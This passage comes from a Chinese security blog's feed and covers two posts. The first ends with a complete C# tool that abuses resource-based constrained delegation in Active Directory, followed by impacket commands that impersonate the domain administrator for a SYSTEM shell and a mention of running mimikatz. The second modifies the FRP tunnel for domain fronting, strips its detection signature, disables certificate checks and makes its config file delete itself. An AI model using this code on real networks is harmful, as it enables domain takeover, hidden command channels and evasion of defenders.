class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">using</span> System;</span><br><span class="line"><span class="keyword">using</span> System.Text;</span><br><span class="line"><span class="keyword">using</span> System.Security.AccessControl;</span><br><span class="line"><span class="keyword">using</span> System.Security.Principal;</span><br><span class="line"><span class="keyword">using</span> System.Net;</span><br><span class="line"><span class="keyword">using</span> System.DirectoryServices;</span><br><span class="line"><span class="keyword">namespace</span> Addnew_MachineAccount</span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Program</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span><span class="params">(<span class="built_in">string</span>[] args)</span></span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            String DomainController = <span class="string">"192.168.247.8"</span>;</span><br><span class="line">            String Domain = <span class="string">"test.local"</span>;</span><br><span class="line">            String new_MachineAccount = <span class="string">"testpc1"</span>; <span class="comment">//添加的机器账户</span></span><br><span class="line">            String new_MachineAccount_password = <span class="string">"123456"</span>; <span class="comment">//机器账户密码</span></span><br><span class="line">            String victimcomputer = <span class="string">"WIN10"</span>; <span class="comment">//需要进行提权的机器</span></span><br><span class="line">            String victimcomputer_ldap_path = <span class="string">"LDAP://CN=WIN10,CN=Computers,DC=test,DC=local"</span>;</span><br><span class="line">            String machine_account = new_MachineAccount;</span><br><span class="line">            String sam_account = machine_account + <span class="string">"$"</span>;</span><br><span class="line"></span><br><span class="line">            String distinguished_name = <span class="string">""</span>;</span><br><span class="line">            String[] DC_array = null;</span><br><span class="line">            distinguished_name = <span class="string">"CN="</span> + machine_account + <span class="string">",CN=Computers"</span>;</span><br><span class="line">            DC_array = Domain.Split(<span class="string">'.'</span>);</span><br><span class="line">            foreach (String DC in DC_array)</span><br><span class="line">            &#123;</span><br><span class="line">                distinguished_name += <span class="string">",DC="</span> + DC;</span><br><span class="line">            &#125;</span><br><span class="line">            Console.WriteLine(<span class="string">"[+] Elevate permissions on "</span> + victimcomputer);</span><br><span class="line">            Console.WriteLine(<span class="string">"[+] Domain = "</span> + Domain);</span><br><span class="line">            Console.WriteLine(<span class="string">"[+] Domain Controller = "</span> + DomainController);</span><br><span class="line">            <span class="comment">//Console.WriteLine("[+] New SAMAccountName = " + sam_account);</span></span><br><span class="line">            <span class="comment">//Console.WriteLine("[+] Distinguished Name = " + distinguished_name);</span></span><br><span class="line">            <span class="comment">//连接ldap</span></span><br><span class="line">            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = <span class="keyword">new</span> System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, <span class="number">389</span>);</span><br><span class="line">            <span class="comment">//NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录</span></span><br><span class="line">            System.DirectoryServices.Protocols.LdapConnection connection = null;</span><br><span class="line">            <span class="comment">//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);</span></span><br><span class="line">            connection = <span class="keyword">new</span> System.DirectoryServices.Protocols.LdapConnection(identifier);</span><br><span class="line">            connection.SessionOptions.Sealing = <span class="literal">true</span>;</span><br><span class="line">            connection.SessionOptions.Signing = <span class="literal">true</span>;</span><br><span class="line">            connection.Bind();</span><br><span class="line">            var request = <span class="keyword">new</span> System.DirectoryServices.Protocols.AddRequest(distinguished_name, <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute[] &#123;</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"DnsHostName"</span>, machine_account +<span class="string">"."</span>+ Domain),</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"SamAccountName"</span>, sam_account),</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"userAccountControl"</span>, <span class="string">"4096"</span>),</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"unicodePwd"</span>, Encoding.Unicode.GetBytes(<span class="string">"\""</span> + new_MachineAccount_password + <span class="string">"\""</span>)),</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"objectClass"</span>, <span class="string">"Computer"</span>),</span><br><span class="line">                <span class="keyword">new</span> System.DirectoryServices.Protocols.DirectoryAttribute(<span class="string">"ServicePrincipalName"</span>, <span class="string">"HOST/"</span>+machine_account+<span class="string">"."</span>+Domain,<span class="string">"RestrictedKrbHost/"</span>+machine_account+<span class="string">"."</span>+Domain,<span class="string">"HOST/"</span>+machine_account,<span class="string">"RestrictedKrbHost/"</span>+machine_account)</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">try</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">//添加机器账户</span></span><br><span class="line">                connection.SendRequest(request);</span><br><span class="line">                Console.WriteLine(<span class="string">"[+] Machine account: "</span> + machine_account + <span class="string">" Password: "</span> + new_MachineAccount_password + <span class="string">" added"</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span> (System.Exception ex)</span><br><span class="line">            &#123;</span><br><span class="line">                Console.WriteLine(<span class="string">"[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"</span>);</span><br><span class="line">                Console.WriteLine(<span class="string">"[-] Exception: "</span> + ex.Message);</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 获取新计算机对象的SID</span></span><br><span class="line">            var new_request = <span class="keyword">new</span> System.DirectoryServices.Protocols.SearchRequest(distinguished_name, <span class="string">"(&amp;(samAccountType=805306369)(|(name="</span> + machine_account + <span class="string">")))"</span>, System.DirectoryServices.Protocols.SearchScope.Subtree, null);</span><br><span class="line">            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);</span><br><span class="line">            SecurityIdentifier sid = null;</span><br><span class="line">            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">try</span></span><br><span class="line">                &#123;</span><br><span class="line">                    sid = <span class="keyword">new</span> SecurityIdentifier(entry.Attributes[<span class="string">"objectsid"</span>][<span class="number">0</span>] as byte[], <span class="number">0</span>);</span><br><span class="line">                    Console.Out.WriteLine(<span class="string">"[+] "</span> + new_MachineAccount + <span class="string">" SID : "</span> + sid.Value);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">catch</span></span><br><span class="line">                &#123;</span><br><span class="line">                    Console.WriteLine(<span class="string">"[!] It was not possible to retrieve the SID.\nExiting..."</span>);</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">//设置资源约束委派</span></span><br><span class="line">            System.DirectoryServices.DirectoryEntry myldapConnection = <span class="keyword">new</span> System.DirectoryServices.DirectoryEntry(<span class="string">"test.local"</span>);</span><br><span class="line">            myldapConnection.Path = victimcomputer_ldap_path;</span><br><span class="line">            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;</span><br><span class="line">            System.DirectoryServices.DirectorySearcher search = <span class="keyword">new</span> System.DirectoryServices.DirectorySearcher(myldapConnection);</span><br><span class="line">            <span class="comment">//通过ldap找计算机</span></span><br><span class="line">            search.Filter = <span class="string">"(CN="</span> + victimcomputer + <span class="string">")"</span>;</span><br><span class="line">            <span class="built_in">string</span>[] requiredProperties = <span class="keyword">new</span> <span class="built_in">string</span>[] &#123; <span class="string">"samaccountname"</span> &#125;;</span><br><span class="line">            foreach (String property in requiredProperties)</span><br><span class="line">                search.PropertiesToLoad.Add(property);</span><br><span class="line">            System.DirectoryServices.SearchResult result = null;</span><br><span class="line">            <span class="keyword">try</span></span><br><span class="line">            &#123;</span><br><span class="line">                result = search.FindOne();</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span> (System.Exception ex)</span><br><span class="line">            &#123;</span><br><span class="line">                Console.WriteLine(ex.Message + <span class="string">"Exiting..."</span>);</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (result != null)</span><br><span class="line">            &#123;</span><br><span class="line">                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();</span><br><span class="line">                String sec_descriptor = <span class="string">"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;"</span> + sid.Value + <span class="string">")"</span>;</span><br><span class="line">                System.Security.AccessControl.RawSecurityDescriptor sd = <span class="keyword">new</span> RawSecurityDescriptor(sec_descriptor);</span><br><span class="line">                byte[] descriptor_buffer = <span class="keyword">new</span> byte[sd.BinaryLength];</span><br><span class="line">                sd.GetBinaryForm(descriptor_buffer, <span class="number">0</span>);</span><br><span class="line">                <span class="comment">// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中</span></span><br><span class="line">                entryToUpdate.Properties[<span class="string">"msds-allowedtoactonbehalfofotheridentity"</span>].Value = descriptor_buffer;</span><br><span class="line">                <span class="keyword">try</span></span><br><span class="line">                &#123;</span><br><span class="line">                    entryToUpdate.CommitChanges();<span class="comment">//提交更改</span></span><br><span class="line">                    Console.WriteLine(<span class="string">"[+] Exploit successfully!"</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">catch</span> (System.Exception ex)</span><br><span class="line">                &#123;</span><br><span class="line">                    Console.WriteLine(ex.Message);</span><br><span class="line">                    Console.WriteLine(<span class="string">"[!] \nFailed..."</span>);</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755147703-46cc40ba-e57b-46a7-b82c-0209be70f0d1.png" alt="img"></p><p>impacket 套件中的 getST.py 申请票据，导入票据执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 getST.py -dc-ip 192.168.247.8 test.local/testpc1\$:123456 -spn cifs/WIN10.test.local -impersonate administrator</span><br><span class="line">export KRB5CCNAME=administrator.ccache</span><br><span class="line">python3 smbexec.py -no-pass -k WIN10.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755155329-e39b31e0-0fa4-49d8-bdc6-c7893cfef3cd.png" alt="img"></p><p>system权限上线就可以愉快的执行mimikatz了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755160196-89670c40-0fba-4ed7-a1d5-e5900b32c6d1.png" alt="img"></p><h3><span id="0x03-其他攻击场景">0x03 其他攻击场景</span></h3><ul><li>一个公司可能会有一个专门用来加域的账号，虽然这个账户通常只有普通域用户权限，但是如果我们控制了这个账户那么就可以打下一大批机器。 </li><li>如果我们想拿域内机器A的权限，如果我们又没有机器A administrators 组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户依然可以获取权限。 </li><li>一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域)，当我们有了域用户X的权限时，可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。 </li></ul><h3><span id="0x04-参考链接">0x04 参考链接</span></h3><p><a href="https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw</a></p><p><a href="https://mp.weixin.qq.com/s/rXqSfjTFUQJsirkhi1hmHQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/rXqSfjTFUQJsirkhi1hmHQ</a></p><p><a href="https://daiker.gitbook.io/" target="_blank" rel="noopener">https://daiker.gitbook.io/</a></p><p><a href="https://www.cnblogs.com/car7n/p/14789004.html" target="_blank" rel="noopener">https://www.cnblogs.com/car7n/p/14789004.html</a></p><p><a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank" rel="noopener">https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html</a></p><p><a href="https://xz.aliyun.com/t/8690#toc-73" target="_blank" rel="noopener">https://xz.aliyun.com/t/8690#toc-73</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;0x00-前言&quot;&gt;0x00 前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;基于资源的约束委派(RBCD)&lt;/strong&gt;是在 Windows Server 2012 中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RB
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>FRP改造计划续</title>
    <link href="https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html"/>
    <id>https://uknowsec.cn/posts/notes/FRP改造计划续.html</id>
    <published>2020-12-29T16:17:17.000Z</published>
    <updated>2020-12-31T08:30:22.919Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>之前@Wfox师傅在群里提到“通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址”。最近没有项目，重新进行一下frp改造计划。</p><h3><span id="可行性证明">可行性证明</span></h3><p>先用dns域名解析来证明域前置方案在frp上是可行的，这里也可以直接修改本地hosts文件来实现dns域名解析的效果。</p><p>比如我们用如下frpc.ini</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = dwnwdqndlnqwln2321321.com</span><br><span class="line">server_port = 23333</span><br><span class="line">token = uknowsec</span><br><span class="line">protocol = websocket</span><br><span class="line">tls_enable = true</span><br><span class="line"></span><br><span class="line">[http_proxy]</span><br><span class="line">type = tcp</span><br><span class="line">remote_port = 10002</span><br><span class="line">plugin = socks5</span><br></pre></td></tr></table></figure><p>让frpc认证数据包走websocket协议。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20201229234612622.png" alt="image-20201229234612622"></p><p>可以看到认证是通过websocket协议，这里特别标注出来了Host头，要实现域前置，我们只要把host修改为我们的指定回源域名即可。所以证明了“通过websocket协议让FRP用上域前置”是可行的。</p><h3><span id="websocket依赖修改">Websocket依赖修改</span></h3><p>跟进frp源码，我们可以到websocket依赖包<code>websocket/hybi.go</code>文件下的hybiClientHandshake函数。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">hybiClientHandshake</span><span class="params">(config *Config, br *bufio.Reader, bw *bufio.Writer)</span> <span class="params">(err error)</span></span> &#123;</span><br><span class="line">bw.WriteString(<span class="string">"GET "</span> + config.Location.RequestURI() + <span class="string">" HTTP/1.1\r\n"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// According to RFC 6874, an HTTP client, proxy, or other</span></span><br><span class="line"><span class="comment">// intermediary must remove any IPv6 zone identifier attached</span></span><br><span class="line"><span class="comment">// to an outgoing URI.</span></span><br><span class="line">bw.WriteString(<span class="string">"Host: "</span> + removeZone(config.Location.Host) + <span class="string">"\r\n"</span>)</span><br><span class="line">bw.WriteString(<span class="string">"Upgrade: websocket\r\n"</span>)</span><br><span class="line">bw.WriteString(<span class="string">"Connection: Upgrade\r\n"</span>)</span><br><span class="line">nonce := generateNonce()</span><br><span class="line"><span class="keyword">if</span> config.handshakeData != <span class="literal">nil</span> &#123;</span><br><span class="line">nonce = []<span class="keyword">byte</span>(config.handshakeData[<span class="string">"key"</span>])</span><br><span class="line">&#125;</span><br><span class="line">bw.WriteString(<span class="string">"Sec-WebSocket-Key: "</span> + <span class="keyword">string</span>(nonce) + <span class="string">"\r\n"</span>)</span><br><span class="line">bw.WriteString(<span class="string">"Origin: "</span> + strings.ToLower(config.Origin.String()) + <span class="string">"\r\n"</span>)</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到Host是通过<code>config.Location.Host</code>进行赋值的，我们再一步一步的往回看调用即可。</p><p>同时frp调用<code>websocket</code>依赖在<code>pkg/util/net/websocket.go</code>里的<code>ConnectWebsocketServer</code>方法</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ConnectWebsocketServer</span><span class="params">(addr <span class="keyword">string</span>)</span> <span class="params">(net.Conn, error)</span></span> &#123;</span><br><span class="line">addr = <span class="string">"ws://"</span> + addr + FrpWebsocketPath</span><br><span class="line">uri, err := url.Parse(addr)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">origin := <span class="string">"http://"</span> + uri.Host</span><br><span class="line">cfg, err := websocket.NewConfig(addr, origin)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">cfg.Dialer = &amp;net.Dialer&#123;</span><br><span class="line">Timeout: <span class="number">10</span> * time.Second,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">conn, err := websocket.DialConfig(cfg)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> conn, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以只需要在往<code>websocket.NewConfig</code>多传入一个指定的host参数即可。</p><p>新加入的host参数只要在<code>cmd/frpc/sub/root.go</code>的<code>RegisterCommonFlags</code>里进行注册即可。</p><h4><span id="测试效果">测试效果</span></h4><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20201230002508915.png" alt="image-20201230002508915"></p><p>这样我们就实现了<code>通过websocket协议让FRP用上域前置</code>。</p><h3><span id="wss实现">WSS实现</span></h3><p>由上图，可见用websocket还是特征比较明显的，比如<code>/~!frp</code>。这里我们可以通过如下修改</p><p><code>pkg/util/net/websocket.go</code>下的变量即可。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">const (</span><br><span class="line">FrpWebsocketPath = &quot;/~!frp&quot;</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>同时，我们也修改frp使之实现wss协议。</p><p>@Wfox师傅提醒frp有人pull了支持wss协议的修改代码。</p><p><a href="https://github.com/fatedier/frp/pull/1919/files" target="_blank" rel="noopener">https://github.com/fatedier/frp/pull/1919/files</a></p><p>通过pull里的修改就可以实现wss协议了</p><p>同时由于在某云域前置里，用wss协议的情况下，server_addr用域名会不能正常回源，只能用ip。且会存在证书报错。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20201230003824977.png" alt="image-20201230003824977"></p><p>这里可以通过做如下修改<code>pkg/util/net/websocket.go</code>里的<code>ConnectWebsocketServer</code>函数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// addr: domain:port</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ConnectWebsocketServer</span><span class="params">(addr <span class="keyword">string</span>, websocket_domain <span class="keyword">string</span>, isSecure <span class="keyword">bool</span>)</span> <span class="params">(net.Conn, error)</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> isSecure &#123;</span><br><span class="line">ho := strings.Split(addr, <span class="string">":"</span>)</span><br><span class="line">ip, err := net.ResolveIPAddr(<span class="string">"ip"</span>, ho[<span class="number">0</span>])</span><br><span class="line">ip_addr := ip.String() + <span class="string">":"</span> + ho[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">addr = <span class="string">"wss://"</span> + ip_addr + FrpWebsocketPath</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">addr = <span class="string">"ws://"</span> + addr + FrpWebsocketPath</span><br><span class="line">&#125;</span><br><span class="line">uri, err := url.Parse(addr)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> origin <span class="keyword">string</span></span><br><span class="line"><span class="keyword">if</span> isSecure &#123;</span><br><span class="line">ho := strings.Split(uri.Host, <span class="string">":"</span>)</span><br><span class="line">ip, err := net.ResolveIPAddr(<span class="string">"ip"</span>, ho[<span class="number">0</span>])</span><br><span class="line">ip_addr := ip.String() + <span class="string">":"</span> + ho[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">origin = <span class="string">"https://"</span> + ip_addr</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">origin = <span class="string">"http://"</span> + uri.Host</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">cfg, err := websocket.NewConfig(addr, origin, websocket_domain)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">cfg.Dialer = &amp;net.Dialer&#123;</span><br><span class="line">Timeout: <span class="number">10</span> * time.Second,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">conn, err := websocket.DialConfig(cfg)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> conn, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>用<code>net.ResolveIPAddr</code>先获取域名所对应ip地址，再进行wss和https协议的使用即可。</p><p>另外修复证书错误问题。</p><p>修改<code>websocket/dial.go</code>里的<code>dialWithDialer</code>方法。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">dialWithDialer</span><span class="params">(dialer *net.Dialer, config *Config)</span> <span class="params">(conn net.Conn, err error)</span></span> &#123;</span><br><span class="line"><span class="keyword">switch</span> config.Location.Scheme &#123;</span><br><span class="line"><span class="keyword">case</span> <span class="string">"ws"</span>:</span><br><span class="line">conn, err = dialer.Dial(<span class="string">"tcp"</span>, parseAuthority(config.Location))</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="string">"wss"</span>:</span><br><span class="line">config.TlsConfig = &amp;tls.Config&#123;</span><br><span class="line">InsecureSkipVerify: <span class="literal">true</span>,</span><br><span class="line">&#125;</span><br><span class="line">conn, err = tls.DialWithDialer(dialer, <span class="string">"tcp"</span>, parseAuthority(config.Location), config.TlsConfig)</span><br><span class="line"></span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">err = ErrBadScheme</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当使用wss协议的时候，将<code>TlsConfig.InsecureSkipVerify</code>设置为true，即可忽略证书错误了。</p><h4><span id="测试效果">测试效果</span></h4><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20201230003610771.png" alt="image-20201230003610771"></p><p>可见图中的认证数据包已经以wss进行认证了。</p><h3><span id="配置文件自删除">配置文件自删除</span></h3><p>在其中看@lz520520师傅的文章里看到</p><p><a href="https://sec.lz520520.cn:4430/2020/11/566/#0x03" target="_blank" rel="noopener">https://sec.lz520520.cn:4430/2020/11/566/#0x03</a></p><blockquote><p>只要读取后删除配置文件就好了呀，这个就很简单，我多添加了一个配置文件参数delete，用于判断是否自动删除配置文件。</p></blockquote><p>这一点还是不错的，添加参数，读取完配置文件启动frpc后，自动删除配置文件。</p><p>同样相同的方法在<code>cmd/frpc/sub/root.go</code>的<code>RegisterCommonFlags</code>里进行注册参数即可。</p><p>然后在<code>cmd/frpc/sub/root.go</code>里的<code>startService</code>方法里进行判断调用删除配置文件即可。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span 